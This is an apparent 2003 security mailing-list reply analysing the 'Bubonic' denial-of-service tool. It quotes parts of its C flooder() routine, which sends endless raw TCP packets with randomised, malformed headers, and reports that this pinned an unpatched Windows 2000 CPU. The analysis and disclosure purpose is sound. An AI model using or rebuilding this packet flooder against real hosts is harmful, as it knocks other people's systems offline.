RE: Bubonic DoS tool

> -----Original Message-----

The code is very easy to understand. The "interesting" part is in flooder(), my comments inline:

void flooder(void)
{
...

    packet.ip.ip_p              = IPPROTO_TCP;
    packet.ip.ip_tos            = rand();
...
    packet.tcp.th_flags         = random();
    packet.tcp.th_win           = 65535;
    packet.tcp.th_seq           = random();
    packet.tcp.th_ack           = 0;
    packet.tcp.th_off           = 0; 
    packet.tcp.th_urp           = random();
    packet.tcp.th_dport         = random();
...
    cksum.pseudo.ptcl           = IPPROTO_TCP;
    cksum.pseudo.tcpl           = random();

    for(i=0;;++i) {
...

       if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr *)&s_in, sizeof(s_in)) < 0);     }
}

To sum up and simplify, this sends TCP packets with bad header. As a result, my unpatched win2k's CPU graph stays over 90% in the kernel, causing Albinoni to sound bad.

Best Regards,

Yonatan Bokovza
IT Security Consultant
Xpert Systems

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http://www2.stillsecure.com/download/sf_vuln_list.html Received on Tue Mar 11 12:13:05 2003